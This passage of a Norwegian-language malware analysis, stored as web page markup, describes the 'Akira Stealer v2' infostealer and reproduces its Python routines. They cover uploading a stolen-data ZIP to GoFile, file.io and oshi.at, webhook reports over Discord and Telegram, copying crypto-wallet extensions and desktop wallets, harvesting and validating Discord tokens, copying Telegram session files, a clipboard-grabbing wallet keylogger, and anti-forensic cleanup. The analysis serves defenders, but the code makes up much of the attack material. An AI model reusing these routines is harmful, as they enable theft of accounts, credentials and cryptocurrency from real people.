├── Chrome History.txt\n    │   └── …\n    ├── Autofill\\\n    │   ├── Chrome Autofill.txt\n    │   └── …\n    └── Wallets\\\n        ├── Firefox_Default_profiles.zip\n        ├── Firefox_Profile1_profiles.zip\n        └── …\n",[551,7630,7628],{"__ignoreMap":594},[604,7632,7633,7647,7653],{},[607,7634,7635,7636,7639,7640,7643,7644,2044],{},"Hver ",[551,7637,7638],{},".txt","-fil begynner med en konsekvent header (",[551,7641,7642],{},"\u003C================[Akira Stealer v2]>================>",") og en skillelinje (",[551,7645,7646],{},"====…====",[607,7648,7649,7650,586],{},"ZIP på disk: ",[551,7651,7652],{},"%TEMP%\\\u003CComputerName>.zip",[607,7654,7655,7656,586],{},"Filnavnetikett for C&C: ",[551,7657,7658],{},"Akira-\u003Cusername>.zip",[533,7660,7661],{},[540,7662,7663],{},"5. Eksfiltrering og opprydding",[588,7665,7667],{"className":4490,"code":7666,"language":4492,"meta":594,"style":594},"url = Webhook.uploadToGofile(zip_path)\nif not url:\n    url = Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\nWebhook.sendDataTG(zip_path, chatId, startup)\nUtils.clear_client_folder()\n",[551,7668,7669,7674,7679,7684,7689],{"__ignoreMap":594},[1683,7670,7671],{"class":1685,"line":1686},[1683,7672,7673],{},"url = Webhook.uploadToGofile(zip_path)\n",[1683,7675,7676],{"class":1685,"line":2062},[1683,7677,7678],{},"if not url:\n",[1683,7680,7681],{"class":1685,"line":2068},[1683,7682,7683],{},"    url = Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\n",[1683,7685,7686],{"class":1685,"line":2074},[1683,7687,7688],{},"Webhook.sendDataTG(zip_path, chatId, startup)\n",[1683,7690,7691],{"class":1685,"line":2394},[1683,7692,7693],{},"Utils.clear_client_folder()\n",[604,7695,7696,7706,7720,7738],{},[607,7697,7698,7701,7702,7705],{},[540,7699,7700],{},"Primærkanal (GoFile.io):"," Malwaren forsøker først å laste opp ZIP-arkivet med alle stjålne artefakter til GoFile.io, og leser JSON-svaret for å finne en ",[551,7703,7704],{},"downloadPage","-URL som gir angriperen direkte tilgang til arkivet.",[607,7707,7708,7711,7712,7715,7716,7719],{},[540,7709,7710],{},"Automatiske fallbacks:"," Feiler GoFile-endepunktet, for eksempel på grunn av nettverkstimeout eller rate limit, faller koden problemfritt tilbake på ",[551,7713,7714],{},"file.io",", og returnerer også den en tom lenke, til slutt på ",[551,7717,7718],{},"oshi.at",". Begge alternativene kalles uten å kaste unntak, slik at én av de tre tjenestene alltid blir forsøkt etter tur.",[607,7721,7722,7725,7726,7729,7730,7733,7734,7737],{},[540,7723,7724],{},"Webhook-rapportering:"," Når en URL (eller en tom streng ved vedvarende feil) er fastslått, kalles ",[551,7727,7728],{},"Webhook.sendDataTG(...)",", som pakker sammen nedlastingslenken, maskinidentifikatorene (",[551,7731,7732],{},"chatId",", flagget ",[551,7735,7736],{},"startup",") og alle kategoritellingene (passord, cookies, autofyll, lommebøker) i én enkelt Discord- eller Telegram-melding.",[607,7739,7740,7743,7744,7747],{},[540,7741,7742],{},"Umiddelbar opprydding:"," Etter rapporteringen sletter ",[551,7745,7746],{},"Utils.clear_client_folder()"," hele det midlertidige arbeidsområdet og selve ZIP-filen rekursivt, uten å etterlate spor av de innsamlede dataene eller arkivet på disken.",[821,7749,7750,7755],{},[533,7751,7752],{},[540,7753,7754],{},"Robusthet mot feil:",[604,7756,7757,7764],{},[607,7758,7759,7760,7763],{},"Alle opplastingsrutiner returnerer ",[551,7761,7762],{},"\"\""," ved feil i stedet for å kaste unntak, noe som garanterer at kodeflyten fortsetter.",[607,7765,7766],{},"Selv om alle tjenestene er utilgjengelige, sender malwaren likevel en webhook-rapport, om enn uten lenke, før de lokale artefaktene slettes. Det holder de forensiske restene nede så lenge prosessen ikke krasjer uventet.",[827,7768],{"className":7769},[830,831],[533,7771,7772],{},[540,7773,7774],{},"6. Robusthet og feilhåndtering",[604,7776,7777,7795,7801,7810],{},[607,7778,7779,7782,7783,7786,7787,7790,7791,7794],{},[540,7780,7781],{},"Finmasket feilhåndtering:"," Hver interaksjon med filsystemet, enten det er ",[551,7784,7785],{},"shutil.copy",", SQLite-spørringer eller ZIP-operasjoner, pakkes inn i ",[551,7788,7789],{},"try/except","-blokker. Oppstår det en feil (låst database, nektet tilgang, ødelagt post), fanges unntaket og logges via ",[551,7792,7793],{},"Akira.logErrorTg()",", og kjøringen fortsetter. Dermed isoleres feilen til nettopp den filen eller modulen.",[607,7796,7797,7800],{},[540,7798,7799],{},"Trådisolering per nettleser:"," Uthentingsrutinene for hver nettleser som støttes, kjører i sin egen tråd. Denne flertrådede designen sørger for at en krasj eller vranglås i uthentingen for én nettleser, for eksempel en ødelagt profil eller en manglende nøkkel, ikke stopper eller forsinker analysen av de andre.",[607,7802,7803,7806,7807,7809],{},[540,7804,7805],{},"Stille fallbacks og standardverdier:"," Mange hjelperutiner, som opplasting til alternative filverter, sjekk av eksterne ressurser eller start av underprosesser, bruker nøstede ",[551,7808,7789],{},"-blokker uten synlige varsler, noe som maksimerer skjultheten. Standardverdiene (tomme strenger, booleanere) er valgt for å holde flyten uforstyrret og fjerne åpenbare feiltilstander.",[607,7811,7812,7815,7816,7819,7820,7823],{},[540,7813,7814],{},"Mutex og oppstartsvern:"," En navngitt mutex (",[551,7817,7818],{},"1qsMlseJplTlArIF14f",") hindrer flere instanser, mens registersjekker og ",[551,7821,7822],{},"Utils.CreateMutex()"," beskytter mot samtidige kjøringer og gir ekstra stabilitet ved bruk i praksis.",[714,7825,7827],{"id":7826},"_78-eksfiltrering-av-lommebøker-og-tokens","7.8 Eksfiltrering av lommebøker og tokens",[533,7829,720],{},[533,7831,7832],{},"I denne fasen gjør Akira Stealer v2 sitt mest omfattende sveip etter kryptovaluta-credentials og sesjonstokens, og dekker nettleserutvidelser, skrivebordslommebøker, meldingstokens og keylogging i sanntid. Den kjører i parallelle tråder, slik at ingen vektor går tapt. Under følger en grundig gjennomgang steg for steg, med dekning i koden.",[862,7834,7836],{"id":7835},"_781-lommebøker-som-nettleserutvidelser","7.8.1 Lommebøker som nettleserutvidelser",[533,7838,868],{},[533,7840,7841,7844],{},[540,7842,7843],{},"Mål:"," Over 80 utvidelser i populære nettlesere, blant annet MetaMask, Phantom, Trust Wallet, Coinbase Wallet, Solflare, Exodus, Binance Chain Wallet, Keplr, Nami, TronLink, Rabby, Talisman og flere.",[588,7846,7848],{"className":4490,"code":7847,"language":4492,"meta":594,"style":594},"# Hardcoded list of extension IDs and human-friendly names\nwalletsExtensions = [\n    [\"MetaMask\",        \"nkbihfbeogaeaoehlefnkodbefgpgknn\"],\n    [\"Phantom\",         \"bfnaelmomeimhlpmgjnjophhpkkoljpa\"],\n    [\"TrustWallet\",     \"egjidjbpglichdcondbcbdnbeeppgdph\"],\n    [\"CoinbaseWallet\",  \"hfhmhopkfngkjcalldmaepmpilmjjemb\"],\n    [\"Solflare\",        \"bhhhlbepdkbapadjdnnojkbgioiodbic\"],\n    [\"BinanceChain\",    \"fhbohimaelbohpjbbldcngcnapndodjp\"],\n    [\"Keplr\",           \"dmkamcknogkgcdfhhbddcghachkejeap\"],\n    [\"Nami\",            \"lpfcbjknijpeeillifnkikgncikgfhdo\"],\n    [\"Talisman\",        \"fijngjgcjhjmmpcmkeiomlglpeiijkld\"],\n    [\"TronLink\",        \"ibnejdfjmmkpcnlpebklmnkoeoihofec\"],\n    # ... plus dozens more mapped in code\n]\n# Extraction loop for each browser profile\nfor browser_name, (user_data, proc_name) in paths.items():\n    base = os.path.join(user_data, \"Default\", \"Local Extension Settings\")\n    for ext_name, ext_id in walletsExtensions:\n        src = os.path.join(base, ext_id)\n        if os.path.isdir(src):\n            dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", f\"{ext_name}_{browser_name}\")\n            shutil.copytree(src, dest, dirs_exist_ok=True)\n            data.ext_wallets_count += 1\n",[551,7849,7850,7855,7860,7865,7870,7875,7880,7885,7890,7895,7900,7905,7910,7915,7920,7925,7930,7935,7940,7945,7950,7955,7960],{"__ignoreMap":594},[1683,7851,7852],{"class":1685,"line":1686},[1683,7853,7854],{},"# Hardcoded list of extension IDs and human-friendly names\n",[1683,7856,7857],{"class":1685,"line":2062},[1683,7858,7859],{},"walletsExtensions = [\n",[1683,7861,7862],{"class":1685,"line":2068},[1683,7863,7864],{},"    [\"MetaMask\",        \"nkbihfbeogaeaoehlefnkodbefgpgknn\"],\n",[1683,7866,7867],{"class":1685,"line":2074},[1683,7868,7869],{},"    [\"Phantom\",         \"bfnaelmomeimhlpmgjnjophhpkkoljpa\"],\n",[1683,7871,7872],{"class":1685,"line":2394},[1683,7873,7874],{},"    [\"TrustWallet\",     \"egjidjbpglichdcondbcbdnbeeppgdph\"],\n",[1683,7876,7877],{"class":1685,"line":2400},[1683,7878,7879],{},"    [\"CoinbaseWallet\",  \"hfhmhopkfngkjcalldmaepmpilmjjemb\"],\n",[1683,7881,7882],{"class":1685,"line":3058},[1683,7883,7884],{},"    [\"Solflare\",        \"bhhhlbepdkbapadjdnnojkbgioiodbic\"],\n",[1683,7886,7887],{"class":1685,"line":3854},[1683,7888,7889],{},"    [\"BinanceChain\",    \"fhbohimaelbohpjbbldcngcnapndodjp\"],\n",[1683,7891,7892],{"class":1685,"line":3860},[1683,7893,7894],{},"    [\"Keplr\",           \"dmkamcknogkgcdfhhbddcghachkejeap\"],\n",[1683,7896,7897],{"class":1685,"line":4105},[1683,7898,7899],{},"    [\"Nami\",            \"lpfcbjknijpeeillifnkikgncikgfhdo\"],\n",[1683,7901,7902],{"class":1685,"line":5029},[1683,7903,7904],{},"    [\"Talisman\",        \"fijngjgcjhjmmpcmkeiomlglpeiijkld\"],\n",[1683,7906,7907],{"class":1685,"line":5035},[1683,7908,7909],{},"    [\"TronLink\",        \"ibnejdfjmmkpcnlpebklmnkoeoihofec\"],\n",[1683,7911,7912],{"class":1685,"line":5041},[1683,7913,7914],{},"    # ... plus dozens more mapped in code\n",[1683,7916,7917],{"class":1685,"line":5047},[1683,7918,7919],{},"]\n",[1683,7921,7922],{"class":1685,"line":5053},[1683,7923,7924],{},"# Extraction loop for each browser profile\n",[1683,7926,7927],{"class":1685,"line":5059},[1683,7928,7929],{},"for browser_name, (user_data, proc_name) in paths.items():\n",[1683,7931,7932],{"class":1685,"line":5065},[1683,7933,7934],{},"    base = os.path.join(user_data, \"Default\", \"Local Extension Settings\")\n",[1683,7936,7937],{"class":1685,"line":5071},[1683,7938,7939],{},"    for ext_name, ext_id in walletsExtensions:\n",[1683,7941,7942],{"class":1685,"line":5077},[1683,7943,7944],{},"        src = os.path.join(base, ext_id)\n",[1683,7946,7947],{"class":1685,"line":5083},[1683,7948,7949],{},"        if os.path.isdir(src):\n",[1683,7951,7952],{"class":1685,"line":5089},[1683,7953,7954],{},"            dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", f\"{ext_name}_{browser_name}\")\n",[1683,7956,7957],{"class":1685,"line":5095},[1683,7958,7959],{},"            shutil.copytree(src, dest, dirs_exist_ok=True)\n",[1683,7961,7962],{"class":1685,"line":5101},[1683,7963,7964],{},"            data.ext_wallets_count += 1\n",[604,7966,7967,7973],{},[607,7968,7969,7972],{},[540,7970,7971],{},"Filer som kopieres",": Utvidelsesspesifikke IndexedDB-, LevelDB-, JSON- og konfigurasjonsfiler som inneholder krypterte nøkler, seed-fraser og påloggingsopplysninger.",[607,7974,7975,973,7978,620,7981,7984],{},[540,7976,7977],{},"Resultatmappe",[551,7979,7980],{},"Wallets/MetaMask_Chrome/",[551,7982,7983],{},"Wallets/Phantom_Edge/"," med flere.",[862,7986,7988],{"id":7987},"_782-skrivebordslommebøker","7.8.2 Skrivebordslommebøker",[533,7990,868],{},[533,7992,7993,7995],{},[540,7994,7843],{}," Store skrivebordsklienter som Electrum, Exodus, Atomic Wallet, Guarda, Rabby, Coinomi, Zcash, Armory, Bytecoin, Jaxx, Coinomi med flere.",[588,7997,7999],{"className":4490,"code":7998,"language":4492,"meta":594,"style":594},"walletsDesktop = [\n    [\"Electrum\",     os.path.join(os.getenv('APPDATA'), \"Electrum\", \"wallets\")],\n    [\"Exodus\",       os.path.join(os.getenv('APPDATA'), \"Exodus\", \"exodus.wallet\")],\n    [\"AtomicWallet\", os.path.join(os.getenv('LOCALAPPDATA'), \"atomic\", \"Local Storage\", \"leveldb\")],\n    [\"Guarda\",       os.path.join(os.getenv('APPDATA'), \"Guarda\", \"Local Storage\", \"leveldb\")],\n    [\"Rabby\",        os.path.join(os.getenv('APPDATA'), \"rabby-desktop\")],\n    [\"Coinomi\",      os.path.join(os.getenv('APPDATA'), \"Coinomi\", \"wallets\")],\n]\nfor name, path in walletsDesktop:\n    if os.path.isdir(path):\n        Utils.TaskKill(name.lower())\n        dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", name)\n        shutil.copytree(path, dest, dirs_exist_ok=True)\n        data.desktop_wallets_count += 1\n",[551,8000,8001,8006,8011,8016,8021,8026,8031,8036,8040,8045,8050,8055,8060,8065],{"__ignoreMap":594},[1683,8002,8003],{"class":1685,"line":1686},[1683,8004,8005],{},"walletsDesktop = [\n",[1683,8007,8008],{"class":1685,"line":2062},[1683,8009,8010],{},"    [\"Electrum\",     os.path.join(os.getenv('APPDATA'), \"Electrum\", \"wallets\")],\n",[1683,8012,8013],{"class":1685,"line":2068},[1683,8014,8015],{},"    [\"Exodus\",       os.path.join(os.getenv('APPDATA'), \"Exodus\", \"exodus.wallet\")],\n",[1683,8017,8018],{"class":1685,"line":2074},[1683,8019,8020],{},"    [\"AtomicWallet\", os.path.join(os.getenv('LOCALAPPDATA'), \"atomic\", \"Local Storage\", \"leveldb\")],\n",[1683,8022,8023],{"class":1685,"line":2394},[1683,8024,8025],{},"    [\"Guarda\",       os.path.join(os.getenv('APPDATA'), \"Guarda\", \"Local Storage\", \"leveldb\")],\n",[1683,8027,8028],{"class":1685,"line":2400},[1683,8029,8030],{},"    [\"Rabby\",        os.path.join(os.getenv('APPDATA'), \"rabby-desktop\")],\n",[1683,8032,8033],{"class":1685,"line":3058},[1683,8034,8035],{},"    [\"Coinomi\",      os.path.join(os.getenv('APPDATA'), \"Coinomi\", \"wallets\")],\n",[1683,8037,8038],{"class":1685,"line":3854},[1683,8039,7919],{},[1683,8041,8042],{"class":1685,"line":3860},[1683,8043,8044],{},"for name, path in walletsDesktop:\n",[1683,8046,8047],{"class":1685,"line":4105},[1683,8048,8049],{},"    if os.path.isdir(path):\n",[1683,8051,8052],{"class":1685,"line":5029},[1683,8053,8054],{},"        Utils.TaskKill(name.lower())\n",[1683,8056,8057],{"class":1685,"line":5035},[1683,8058,8059],{},"        dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", name)\n",[1683,8061,8062],{"class":1685,"line":5041},[1683,8063,8064],{},"        shutil.copytree(path, dest, dirs_exist_ok=True)\n",[1683,8066,8067],{"class":1685,"line":5047},[1683,8068,8069],{},"        data.desktop_wallets_count += 1\n",[604,8071,8072,8085],{},[607,8073,8074,8077,8078,620,8081,8084],{},[540,8075,8076],{},"Data som stjeles",": Keystore-filer (",[551,8079,8080],{},"*.dat",[551,8082,8083],{},"*.json","), eksporterte private nøkler, lommebokkonfigurasjon og transaksjonshistorikk.",[607,8086,8087,8090],{},[540,8088,8089],{},"Nytteverdi",": Lommebokinnhold offline som angriperen kan bruke til å godkjenne transaksjoner.",[862,8092,8094],{"id":8093},"_783-innsamling-av-discord-tokens","7.8.3 Innsamling av Discord-tokens",[533,8096,868],{},[533,8098,8099],{},"Discord-tokens er autentiseringsartefakter, i praksis langlevde bearer-tokens, som kan gi full tilgang til en brukers konto uten credentials eller MFA. Akira utnytter dette ved å skanne nettleser- og appdatamapper etter tokens lagret av ulike Discord-klienter, blant annet Discord Stable, Canary, PTB (Public Test Build) og til og med modifiserte forker som Lightcord.",[533,8101,8102],{},"Teknikken retter seg mot LevelDB-filer under applikasjonens Local Storage, der autentiseringstokens ofte ligger i klartekst. Ved hjelp av regulære uttrykk skanner malwaren disse .log- og .ldb-filene etter mønstre som treffer enten vanlige brukertokens eller MFA-aktiverte tokens.",[533,8104,8105],{},"For å øke påliteligheten og redusere støy har Akira et valideringssteg: den sender en testforespørsel til Discords endepunkt /users/@me med hvert innsamlede token. Bare tokens som autentiserer (HTTP 200), eksfiltreres via webhook, vanligvis til en Discord-kanal angriperen kontrollerer.",[533,8107,8108],{},"Metoden gjør det mulig for angripere å kapre Discord-kontoer i sanntid, utgi seg for offeret, skrape DM-er og guilds, eller spre mer malware gjennom social engineering, alt uten å utløse påloggingsvarsler.",[588,8110,8112],{"className":4490,"code":8111,"language":4492,"meta":594,"style":594},"import re, requests\npatterns = [\n    r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27,100}\",  # User tokens\n    r\"mfa\\.[\\w-]{84,100}\"                      # MFA tokens\n]\ndef harvest_discord(base, webhook_url):\n    db_dir = os.path.join(base, \"Local Storage\", \"leveldb\")\n    for file in os.listdir(db_dir):\n        if file.endswith(('.log', '.ldb')):\n            for line in open(os.path.join(db_dir, file), errors='ignore'):\n                for pat in patterns:\n                    for token in re.findall(pat, line):\n                        # Verify token\n                        h = {\"Authorization\": token}\n                        r = requests.get(\"https://discordapp.com/api/v9/users/@me\", headers=h)\n                        if r.status_code == 200:\n                            uname = r.json()[\"username\"] + \"#\" + r.json()[\"discriminator\"]\n                            payload = {\"content\": f\"**Discord** {uname}: `{token}`\"}\n                            requests.post(webhook_url, json=payload)\n",[551,8113,8114,8119,8124,8129,8134,8138,8143,8148,8153,8158,8163,8168,8173,8178,8183,8188,8193,8198,8203],{"__ignoreMap":594},[1683,8115,8116],{"class":1685,"line":1686},[1683,8117,8118],{},"import re, requests\n",[1683,8120,8121],{"class":1685,"line":2062},[1683,8122,8123],{},"patterns = [\n",[1683,8125,8126],{"class":1685,"line":2068},[1683,8127,8128],{},"    r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27,100}\",  # User tokens\n",[1683,8130,8131],{"class":1685,"line":2074},[1683,8132,8133],{},"    r\"mfa\\.[\\w-]{84,100}\"                      # MFA tokens\n",[1683,8135,8136],{"class":1685,"line":2394},[1683,8137,7919],{},[1683,8139,8140],{"class":1685,"line":2400},[1683,8141,8142],{},"def harvest_discord(base, webhook_url):\n",[1683,8144,8145],{"class":1685,"line":3058},[1683,8146,8147],{},"    db_dir = os.path.join(base, \"Local Storage\", \"leveldb\")\n",[1683,8149,8150],{"class":1685,"line":3854},[1683,8151,8152],{},"    for file in os.listdir(db_dir):\n",[1683,8154,8155],{"class":1685,"line":3860},[1683,8156,8157],{},"        if file.endswith(('.log', '.ldb')):\n",[1683,8159,8160],{"class":1685,"line":4105},[1683,8161,8162],{},"            for line in open(os.path.join(db_dir, file), errors='ignore'):\n",[1683,8164,8165],{"class":1685,"line":5029},[1683,8166,8167],{},"                for pat in patterns:\n",[1683,8169,8170],{"class":1685,"line":5035},[1683,8171,8172],{},"                    for token in re.findall(pat, line):\n",[1683,8174,8175],{"class":1685,"line":5041},[1683,8176,8177],{},"                        # Verify token\n",[1683,8179,8180],{"class":1685,"line":5047},[1683,8181,8182],{},"                        h = {\"Authorization\": token}\n",[1683,8184,8185],{"class":1685,"line":5053},[1683,8186,8187],{},"                        r = requests.get(\"https://discordapp.com/api/v9/users/@me\", headers=h)\n",[1683,8189,8190],{"class":1685,"line":5059},[1683,8191,8192],{},"                        if r.status_code == 200:\n",[1683,8194,8195],{"class":1685,"line":5065},[1683,8196,8197],{},"                            uname = r.json()[\"username\"] + \"#\" + r.json()[\"discriminator\"]\n",[1683,8199,8200],{"class":1685,"line":5071},[1683,8201,8202],{},"                            payload = {\"content\": f\"**Discord** {uname}: `{token}`\"}\n",[1683,8204,8205],{"class":1685,"line":5077},[1683,8206,8207],{},"                            requests.post(webhook_url, json=payload)\n",[604,8209,8210],{},[607,8211,8212,8215],{},[540,8213,8214],{},"Validering",": Sender bare gyldige tokens, og hindrer at utdaterte JWT-er går ut.",[862,8217,8219],{"id":8218},"_784-telegram-sesjonsfiler","7.8.4 Telegram-sesjonsfiler",[533,8221,868],{},[533,8223,8224,8226],{},[540,8225,7843],{}," Telegram Desktop/TData",[588,8228,8230],{"className":4490,"code":8229,"language":4492,"meta":594,"style":594},"def steal_telegram(tdata_path, dest_root):\n    if os.path.exists(tdata_path):\n        Utils.TaskKill(\"telegram.exe\")\n        dest = os.path.join(dest_root, \"Wallets\", \"Telegram\")\n        shutil.copytree(tdata_path, dest, dirs_exist_ok=True)\n        data.has_telegram = True\n",[551,8231,8232,8237,8242,8247,8252,8257],{"__ignoreMap":594},[1683,8233,8234],{"class":1685,"line":1686},[1683,8235,8236],{},"def steal_telegram(tdata_path, dest_root):\n",[1683,8238,8239],{"class":1685,"line":2062},[1683,8240,8241],{},"    if os.path.exists(tdata_path):\n",[1683,8243,8244],{"class":1685,"line":2068},[1683,8245,8246],{},"        Utils.TaskKill(\"telegram.exe\")\n",[1683,8248,8249],{"class":1685,"line":2074},[1683,8250,8251],{},"        dest = os.path.join(dest_root, \"Wallets\", \"Telegram\")\n",[1683,8253,8254],{"class":1685,"line":2394},[1683,8255,8256],{},"        shutil.copytree(tdata_path, dest, dirs_exist_ok=True)\n",[1683,8258,8259],{"class":1685,"line":2400},[1683,8260,8261],{},"        data.has_telegram = True\n",[604,8263,8264,8278],{},[607,8265,8266,8269,8270,8273,8274,8277],{},[540,8267,8268],{},"Filer",": mappen ",[551,8271,8272],{},"tdata"," med sesjonsnøkler, mappen ",[551,8275,8276],{},"D877F..."," med secret- og unsecret-filer.",[607,8279,8280,8283],{},[540,8281,8282],{},"Bruk",": Lastes inn i angriperens Telegram-klient for full kontotilgang.",[862,8285,8287],{"id":8286},"_785-keylogging-av-lommebøker-i-sanntid","7.8.5 Keylogging av lommebøker i sanntid",[533,8289,868],{},[533,8291,8292],{},"Kryptovaluta-lommebøker er førstevalgsmål for moderne infostealere. Akira har en keylogger som kjører i sanntid og er laget spesielt for å stjele lommebok-credentials som seed-fraser, private nøkler og passord i det øyeblikket de tastes inn. Til forskjell fra generiske keyloggere aktiveres denne bare når et kjent lommebokvindu oppdages, noe som reduserer støyen kraftig og øker effektiviteten.",[533,8294,8295],{},"Modulen overvåker titlene på aktive vinduer og sammenligner dem med en hardkodet liste over populære lommebokapper som MetaMask, Phantom, Atomic Wallet og andre. Så snart et vindu som treffer, har fokus, begynner den å registrere tastetrykk via systemomfattende tastaturhooks. Når brukeren trykker Enter, fanger modulen umiddelbart det som ligger i utklippstavlen, siden brukere ofte kopierer hemmeligheter under oppsett eller pålogging av lommebøker, og sender både det innskrevne og utklippsdataene til angriperens webhook. Metoden er svært effektiv fordi den kombinerer to angrepsvektorer:",[604,8297,8298,8301],{},[607,8299,8300],{},"Kontekstbevisst keylogging, for å fange sensitive lommebokinndata bare når det er relevant.",[607,8302,8303],{},"Kapring av utklippstavlen, for å hente kopierte gjenopprettingsfraser eller mottakeradresser før de limes inn.",[533,8305,8306],{},"Til sammen lar disse metodene angripere kompromittere lommebøker stille og i sanntid, også uten nettlesertilgang eller fileksfiltrering.",[588,8308,8310],{"className":4490,"code":8309,"language":4492,"meta":594,"style":594},"import keyboard, pyperclip\n\nclass WalletKeylogger:\n    def __init__(self, wallet_titles):\n        self.buf = \"\"\n        keyboard.on_release(self.capture)\n        self.wallet_titles = wallet_titles\n\n    def capture(self, event):\n        title = pygetwindow.getActiveWindow().title\n        if any(w in title for w in self.wallet_titles):\n            if event.name == 'enter':\n                data = f\"Keys:{self.buf}\\nClip:{pyperclip.paste()}\"\n                send_to_webhook(data)\n                self.buf = \"\"\n            else:\n                self.buf += event.name\n",[551,8311,8312,8317,8321,8326,8331,8336,8341,8346,8350,8355,8360,8365,8370,8375,8380,8385,8390],{"__ignoreMap":594},[1683,8313,8314],{"class":1685,"line":1686},[1683,8315,8316],{},"import keyboard, pyperclip\n",[1683,8318,8319],{"class":1685,"line":2062},[1683,8320,3851],{"emptyLinePlaceholder":325},[1683,8322,8323],{"class":1685,"line":2068},[1683,8324,8325],{},"class WalletKeylogger:\n",[1683,8327,8328],{"class":1685,"line":2074},[1683,8329,8330],{},"    def __init__(self, wallet_titles):\n",[1683,8332,8333],{"class":1685,"line":2394},[1683,8334,8335],{},"        self.buf = \"\"\n",[1683,8337,8338],{"class":1685,"line":2400},[1683,8339,8340],{},"        keyboard.on_release(self.capture)\n",[1683,8342,8343],{"class":1685,"line":3058},[1683,8344,8345],{},"        self.wallet_titles = wallet_titles\n",[1683,8347,8348],{"class":1685,"line":3854},[1683,8349,3851],{"emptyLinePlaceholder":325},[1683,8351,8352],{"class":1685,"line":3860},[1683,8353,8354],{},"    def capture(self, event):\n",[1683,8356,8357],{"class":1685,"line":4105},[1683,8358,8359],{},"        title = pygetwindow.getActiveWindow().title\n",[1683,8361,8362],{"class":1685,"line":5029},[1683,8363,8364],{},"        if any(w in title for w in self.wallet_titles):\n",[1683,8366,8367],{"class":1685,"line":5035},[1683,8368,8369],{},"            if event.name == 'enter':\n",[1683,8371,8372],{"class":1685,"line":5041},[1683,8373,8374],{},"                data = f\"Keys:{self.buf}\\nClip:{pyperclip.paste()}\"\n",[1683,8376,8377],{"class":1685,"line":5047},[1683,8378,8379],{},"                send_to_webhook(data)\n",[1683,8381,8382],{"class":1685,"line":5053},[1683,8383,8384],{},"                self.buf = \"\"\n",[1683,8386,8387],{"class":1685,"line":5059},[1683,8388,8389],{},"            else:\n",[1683,8391,8392],{"class":1685,"line":5065},[1683,8393,8394],{},"                self.buf += event.name\n",[604,8396,8397,8403],{},[607,8398,8399,8402],{},[540,8400,8401],{},"Utløserliste",": Vindustitler som \"MetaMask\", \"Phantom\", \"Atomic Wallet\" med flere.",[607,8404,8405,8408],{},[540,8406,8407],{},"Utklippstavle",": Fanger kopierte seed-fraser eller private nøkler.",[862,8410,8412],{"id":8411},"_786-pakking-og-eksfiltrering","7.8.6 Pakking og eksfiltrering",[533,8414,868],{},[533,8416,8417],{},"Når nettleserdata, credentials, lommebokinformasjon og tokens er samlet inn, går Akira videre med å konsolidere og eksfiltrere byttet på en svært automatisert og stillegående måte. Dette steget er det siste leddet i infeksjonskjeden, og det er optimalisert for pålitelighet og et minimalt forensisk fotavtrykk. Først komprimeres alle innsamlede data, inkludert nettleserdumper, logger og keylogget lommebokinformasjon, til et ZIP-arkiv. Dermed kan hele datasettet overføres som én payload. Arkivet lastes deretter opp til flere offentlige fildelingstjenester som GoFile, File.io eller Oshi.at, avhengig av tilgjengelighet. Disse plattformene tilbyr anonym, midlertidig hosting og brukes ofte til å omgå bedriftsbrannmurer eller omdømmebasert blokkering. Samtidig genereres en strukturert rapport som sendes til angriperen via en Discord- eller Telegram-webhook. Den inneholder oppsummerende statistikk, altså hvor mange lommebøker som ble funnet, hvor mange tokens som var gyldige, og en direktelenke til de stjålne dataene. Det gir angripere et raskt overblikk over verdien av målet uten å åpne arkivet.",[533,8419,8420],{},"Til slutt sletter malwaren den midlertidige mappen og arkivet fra disken, og fjerner i praksis lokale forensiske bevis. Når en forsvarer oppdager infeksjonen, er dataene allerede borte, og ofte umulige å få tilbake.",[588,8422,8424],{"className":4490,"code":8423,"language":4492,"meta":594,"style":594},"# 1) ZIP everything (including Wallets folder)\nzip_path = shutil.make_archive(Utils.get_temp_folder(), 'zip', Utils.get_temp_folder())\n# 2) Attempt upload to primary & fallback services\nurl = Webhook.uploadToGofile(zip_path) or Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\n# 3) Report summary\nembed = {\n    \"title\": \"💰 Wallet & Token Exfiltration Report\",\n    \"fields\": [\n        {\"name\": \"Extension Wallets\", \"value\": data.ext_wallets_count},\n        {\"name\": \"Desktop Wallets\",   \"value\": data.desktop_wallets_count},\n        {\"name\": \"Discord Tokens\",    \"value\": len(valid_tokens)},\n        {\"name\": \"Telegram Sessions\", \"value\": data.has_telegram},\n        {\"name\": \"Archive Link\",      \"value\": url or \"[upload failed]\"},\n    ]\n}\nWebhook.sendDataTG(Utils.get_temp_folder(), chatId, startup)\n# 4) Cleanup local folder & ZIP\nUtils.clear_client_folder()\n",[551,8425,8426,8431,8436,8441,8446,8451,8456,8461,8466,8471,8476,8481,8486,8491,8496,8500,8505,8510],{"__ignoreMap":594},[1683,8427,8428],{"class":1685,"line":1686},[1683,8429,8430],{},"# 1) ZIP everything (including Wallets folder)\n",[1683,8432,8433],{"class":1685,"line":2062},[1683,8434,8435],{},"zip_path = shutil.make_archive(Utils.get_temp_folder(), 'zip', Utils.get_temp_folder())\n",[1683,8437,8438],{"class":1685,"line":2068},[1683,8439,8440],{},"# 2) Attempt upload to primary & fallback services\n",[1683,8442,8443],{"class":1685,"line":2074},[1683,8444,8445],{},"url = Webhook.uploadToGofile(zip_path) or Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\n",[1683,8447,8448],{"class":1685,"line":2394},[1683,8449,8450],{},"# 3) Report summary\n",[1683,8452,8453],{"class":1685,"line":2400},[1683,8454,8455],{},"embed = {\n",[1683,8457,8458],{"class":1685,"line":3058},[1683,8459,8460],{},"    \"title\": \"💰 Wallet & Token Exfiltration Report\",\n",[1683,8462,8463],{"class":1685,"line":3854},[1683,8464,8465],{},"    \"fields\": [\n",[1683,8467,8468],{"class":1685,"line":3860},[1683,8469,8470],{},"        {\"name\": \"Extension Wallets\", \"value\": data.ext_wallets_count},\n",[1683,8472,8473],{"class":1685,"line":4105},[1683,8474,8475],{},"        {\"name\": \"Desktop Wallets\",   \"value\": data.desktop_wallets_count},\n",[1683,8477,8478],{"class":1685,"line":5029},[1683,8479,8480],{},"        {\"name\": 